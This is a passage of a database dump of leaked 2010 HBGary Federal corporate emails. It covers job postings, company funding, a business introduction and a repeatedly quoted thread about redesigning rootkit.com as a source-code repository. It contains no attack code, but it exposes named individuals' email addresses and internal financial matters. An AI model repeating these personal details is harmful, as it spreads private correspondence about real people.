SIGNATURE-----\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13482,'aaron_hbgary_com/13482.html'),(5091,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003245.M825876P3547Q5091.eml','\"Ted Vera\" <ted@hbgary.com>','NANA Req.','http://www.clearancejobs.com/jobs/1274217/multi-source-support-specialist-nana\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9401,'aaron_hbgary_com/9401.html'),(5092,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003246.M281955P3547Q5093.eml','\"Ted Vera\" <ted@hbgary.com>','Analysts','http://www.indeed.com/salary/q-Multi-Source-Support-Specialist-l-Meade,-VA.html\r\n\r\nhttp://www.simplyhired.com/a/jobs/list/q-Mid-level+Multi-source+Support+Specialist\r\n\r\nhttp://careers.caci.com/job/FORT-MEADE-Senior-Multi-Source-Support-Specialist-Job-MD-20755/684584/\r\n\r\nhttp://jobs.codebeach.com/a/jobs/find-jobs/q-Mid-Level+Multi-Source+Support+Specialist/l-Rockville,+MD\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16860,'aaron_hbgary_com/16860.html'),(5093,'2010-04-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003246.M726227P3547Q5094.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Funding','Begin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: April 9, 2010 10:01:07 AM MDTTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Subject: RE: Funding\r\nYeap, I would.  I had deeann deposit funds for GD work into your account-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Thursday, April 08, 2010 12:43 PMTo: penny@hbgary.com; Barr AaronSubject: FundingHi Penny,\r\nI received the wire from Rich yesterday. Our funding is getting low.You mentioned that you could make another deposit. The 1st quarterlyfunding was due April 1st. Should I send a note to the shareholders as\r\na reminder?Ted\r\n',1569,'aaron_hbgary_com/1569.html'),(5094,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003246.M81872P3547Q5092.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: Rootkit.com web design work','did u fall off ur wheel?On Apr 9, 2010, at 2:59 PM, Mark Trynor wrote:\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nstupid email couldn\'t get this message out fast enough to make it\r\nappear that way\r\n\r\nAaron Barr wrote:\r\n&gt; appearing as if you multitask is\r\nfine as long as I can\'t tell the \r\n&gt; difference.\r\n&gt; \r\n&gt; On Apr 9, 2010, at 2:56 PM, Mark Trynor wrote:\r\n&gt; \r\n&gt; ROFL!!\r\n&gt; \r\n&gt; I will multitask like the new iPhone will, in that I fake it.\r\n&gt; \r\n&gt; Aaron Barr wrote:\r\n&gt;&gt; ok...please work faster..\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; and multitask...\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; you don\'t get paid to be a single threaded hamster in a\r\nwheel...\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; :)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; On Apr 9, 2010, at 2:53 PM, Mark Trynor wrote:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; I was writing it up but got interrupted by this email ;)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; Aaron Barr wrote:\r\n&gt; \r\n&gt;&gt;&gt; Can you get me an estimate on\r\n&gt; \r\n&gt;&gt; time today?\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; Aaron\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; On Apr 6, 2010, at 11:11 AM, Greg Hoglund wrote:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; Aaron,\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; How much to have your new guy do some web programming\r\n&gt; for\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; rootkit.com &lt;http://rootkit.com&gt;\r\n&lt;http://rootkit.com&gt;\r\n&gt; &lt;http://rootkit.com/&gt; ?\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; here is what I am looking for:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 1) keep the same look / graphics, no graphic design\r\n&gt; required\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 2) left hand menu,\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; remove the list of rootkits\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; add a [source code search] box\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3) convert rootkit project system to a more general\r\n&gt; purpose\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; source-code repository\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3a) each project includes downloadable zip of source\r\n&gt; code\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3b) each project includes contributer and short\r\n&gt; \r\n&gt;&gt; description /\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; article\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3c) the source code of the project can be viewed\r\n&gt; online\r\n&gt; \r\n&gt;&gt; using a\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; pretty-printed source code display (php)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3d) the forum that goes with each project is removed\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 4) consolidate the forums into a single large forum,\r\n&gt; preserve\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; historical posts\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 5) update the project creation to allow source code\r\nto\r\n&gt; any\r\n&gt; \r\n&gt;&gt; tool to\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; be uploaded, description / short article added\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; I can better explain the concept of this on the fone\r\nor\r\n&gt; in\r\n&gt; \r\n&gt;&gt; person.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; --Greg\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; Aaron Barr\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; CEO\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; Aaron Barr\r\n&gt; \r\n&gt;&gt; CEO\r\n&gt; \r\n&gt;&gt; HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; \r\n\r\n&gt; Aaron Barr CEO HBGary Federal Inc.\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/eQ8ACgkQWw/TEDXzQNMGbACeKucTcmVlE9AEdu7GyG9oZQva\r\nBFMAn1bGY/tBSJYV81cb6+rbjoFpr41S\r\n=NhRp\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3714,'aaron_hbgary_com/3714.html'),(5095,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003246.M904335P3547Q5095.eml','bruce.parkman@nekasg.com,bruce.parkman@nekasg.com,','Formal Introduction','Bruce,\r\n\r\nIt was good to meet you at the Palantir conference.  To refresh your memory, I run a cybersecurity services company focused on advanced cybersecurity and information operations capabilities.  I think there would be a lot for us to talk about in person.  We have experience in forward deployed tech ops as well as some other interesting capabilities.\r\n\r\nI need to make a trip out there in the next few weeks as our staff is actually located in the Springs.  Let me know your availability over the next few weeks and I will schedule a trip out.\r\n\r\nI can work out a SCIF location unless you already have a lead on one.\r\n\r\nSincerely,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5372,'aaron_hbgary_com/5372.html'),(5096,'2010-04-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003247.M427203P3547Q5096.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: How Secure are Apple\'s Products?','Begin forwarded message:From: &quot;ISSA Connect&quot; &lt;issaconnect@issa.org&gt;\r\nDate: April 9, 2010 12:14:08 PM MDTTo: &lt;ISSA_Enews@lists.issa.org&gt;Subject: How Secure are Apple&#39;s Products?\r\n\r\n\r\n\r\n\r\nHow\r\nSecure are Apple’s Products?\r\n\r\n \r\n\r\nThere is a strong contingent of Apple advocates who believe\r\nthat Macs are more secure than Windows systems. The general approach revolves\r\naround lower threat levels and implicitly more secure system architecture\r\nleading to a more secure solution. On the other hand, there is anecdotal\r\nevidence that more (negative) attention is being paid to Apple products. Apple just issued a\r\npatch that covered 92 vulnerabilities and was followed soon thereafter by a\r\nmuch-publicized hack in the Pwn2Own\r\ncontest.\r\n\r\n \r\n\r\nIn addition, bugfinders claim that Apple leaves a lot to be\r\ndesired in the way it works with them on disclosing and fixing vulnerabilities.\r\n\r\n \r\n\r\nBut just how much does this matter to the security\r\nprofessional? One of the big reasons there are a lot of unknowns with Apple is\r\nsimply that it doesn’t have much market share in Fortune 2000 companies.\r\nHowever, Apple is clearly developing a strong following in the mobile market,\r\nwith its iPhone and latest innovation the iPad quickly becoming a phenomenon in\r\nand of itself.\r\n\r\n \r\n\r\nWhat are your thoughts about Apple security? Are its\r\nproducts secure enough? What about its software development lifecycle? How\r\nworried are you about the security of the iPad and iPhone?\r\n\r\n \r\n\r\nShare your thoughts on Connect. The discussion continues on Connect.\r\n\r\n \r\n\r\nBest\r\nInfosec Ethics Movie Contest – Final Day for Nominations\r\n\r\n \r\n\r\nToday is the last day to submit your nomination for the Best\r\nInfoSec Ethics Movie Contest. The current list of nominees includes:\r\n\r\n\r\n Antitrust (2001)\r\n Firewall (2006)\r\n The Groundstar Conspiracy\r\n     (1972)\r\n Jurassic Park (1993)\r\n Live Free or Die Hard\r\n     (2007)\r\n Sneakers (1992)\r\n War Games (1983)\r\n\r\n\r\n \r\n\r\nRead more on ISSA Connect. Stand out and get\r\nthat prize, submit\r\nyour nomination with your motivation by adding a comment to this article blog posted in Connect. \r\n\r\nThis E-Mail Broadcast, along with all\r\nothers, is a benefit of your membership in the ISSA - Information Systems\r\nSecurity Association, Inc. If you wish to be removed from future broadcasts,\r\nsimply send a message to customercare@issa.org\r\nwith &quot;Remove from E-Mail list&quot; in the subject line. Please note, if removed you\r\nwill miss out on important association updates. For a copy of ISSA&#39;s\r\nprivacy statement and webcast policies, visit: http://www.issa.org/Association/Privacy-Policy.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12919,'aaron_hbgary_com/12919.html'),(5097,'2010-04-09','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003247.M690645P3547Q5097.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Rootkit.com web design work','\r\n\r\n\r\n  \r\n\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nno, and I don\'t have your key so it shouldn\'t have encrypted it only\r\nto ted\r\n\r\n\r\nAaron Barr wrote:\r\n&gt; ok you encrypted the last email\r\nbut not with the right key as I\r\n&gt; can\'t decrypt it.&nbsp; does it have to be encrypted?\r\n&gt;\r\n&gt;\r\n&gt; On Apr 9, 2010, at 2:59 PM, Mark Trynor wrote:\r\n&gt;\r\n&gt; stupid email couldn\'t get this message out fast enough to make it\r\n&gt; appear that way\r\n&gt;\r\n&gt; Aaron Barr wrote:\r\n&gt; &gt; appearing as if you multitask is\r\n&gt; fine as long as I can\'t tell the\r\n&gt;\r\n&gt; &gt; difference.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt; On Apr 9, 2010, at 2:56 PM, Mark Trynor wrote:\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt; ROFL!!\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt; I will multitask like the new iPhone will, in that I fake\r\nit.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt; Aaron Barr wrote:\r\n&gt;\r\n&gt; &gt;&gt; ok...please work faster..\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; and multitask...\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; you don\'t get paid to be a single threaded hamster in a\r\n&gt; wheel...\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; :)\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; On Apr 9, 2010, at 2:53 PM, Mark Trynor wrote:\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; I was writing it up but got interrupted by this email ;)\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; Aaron Barr wrote:\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt; Can you get me an estimate on\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; time today?\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt; Aaron\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt; On Apr 6, 2010, at 11:11 AM, Greg Hoglund wrote:\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; Aaron,\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; How much to have your new guy do some web\r\nprogramming\r\n&gt;\r\n&gt; &gt; for\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; rootkit.com &lt;http://rootkit.com&gt;\r\n&lt;http://rootkit.com&gt;\r\n&gt; &lt;http://rootkit.com&gt;\r\n&gt;\r\n&gt; &gt; &lt;http://rootkit.com/&gt; ?\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; here is what I am looking for:\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; 1) keep the same look / graphics, no graphic\r\ndesign\r\n&gt;\r\n&gt; &gt; required\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; 2) left hand menu,\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; remove the list of rootkits\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; add a [source code search] box\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; 3) convert rootkit project system to a more\r\ngeneral\r\n&gt;\r\n&gt; &gt; purpose\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; source-code repository\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; 3a) each project includes downloadable zip of\r\nsource\r\n&gt;\r\n&gt; &gt; code\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; 3b) each project includes contributer and short\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; description /\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; article\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; 3c) the source code of the project can be viewed\r\n&gt;\r\n&gt; &gt; online\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; using a\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; pretty-printed source code display (php)\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; 3d) the forum that goes with each project is\r\nremoved\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; 4) consolidate the forums into a single large\r\nforum,\r\n&gt;\r\n&gt; &gt; preserve\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; historical posts\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; 5) update the project creation to allow source\r\ncode\r\n&gt; to\r\n&gt;\r\n&gt; &gt; any\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; tool to\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; be uploaded, description / short article added\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; I can better explain the concept of this on the\r\nfone\r\n&gt; or\r\n&gt;\r\n&gt; &gt; in\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; person.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt;&gt; --Greg\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt; Aaron Barr\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt; CEO\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; Aaron Barr\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; CEO\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt; Aaron Barr CEO HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;&gt;\r\n\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/gO8ACgkQWw/TEDXzQNPL+ACeMW1EJ8BTCy260VpgnYfHNNVV\r\nSKAAnigb2XBEM5UnMj7isapfAuv6Rwm1\r\n=uF7l\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n',13353,'aaron_hbgary_com/13353.html'),(5098,'2010-04-09','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003247.M915436P3547Q5098.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Rootkit.com web design work','\r\n\r\n\r\n  \r\n  \r\n\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\ninto the toilet :(&nbsp; got distracted with the laptop thing and didn\'t\r\nhear my email beeping madly at me\r\n\r\nAaron Barr wrote:\r\n&gt; did u fall off ur wheel?\r\n&gt; \r\n&gt; On Apr 9, 2010, at 2:59 PM, Mark Trynor wrote:\r\n&gt; \r\n&gt; stupid email couldn\'t get this message out fast enough to make\r\nit \r\n&gt; appear that way\r\n&gt; \r\n&gt; Aaron Barr wrote:\r\n&gt;&gt; appearing as if you multitask is\r\n&gt; fine as long as I can\'t tell the\r\n&gt; \r\n&gt;&gt; difference.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; On Apr 9, 2010, at 2:56 PM, Mark Trynor wrote:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; ROFL!!\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; I will multitask like the new iPhone will, in that I fake it.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; Aaron Barr wrote:\r\n&gt; \r\n&gt;&gt;&gt; ok...please work faster..\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; and multitask...\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; you don\'t get paid to be a single threaded hamster in a\r\n&gt; wheel...\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; :)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; On Apr 9, 2010, at 2:53 PM, Mark Trynor wrote:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; I was writing it up but got interrupted by this email ;)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; Aaron Barr wrote:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; Can you get me an estimate on\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; time today?\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; Aaron\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; On Apr 6, 2010, at 11:11 AM, Greg Hoglund wrote:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; Aaron,\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; How much to have your new guy do some web\r\nprogramming\r\n&gt; \r\n&gt;&gt; for\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; rootkit.com &lt;http://rootkit.com&gt;\r\n&lt;http://rootkit.com&gt;\r\n&gt; &lt;http://rootkit.com&gt;\r\n&gt; \r\n&gt;&gt; &lt;http://rootkit.com/&gt; ?\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt;&gt; here is what I am looking for:\r\n&gt; 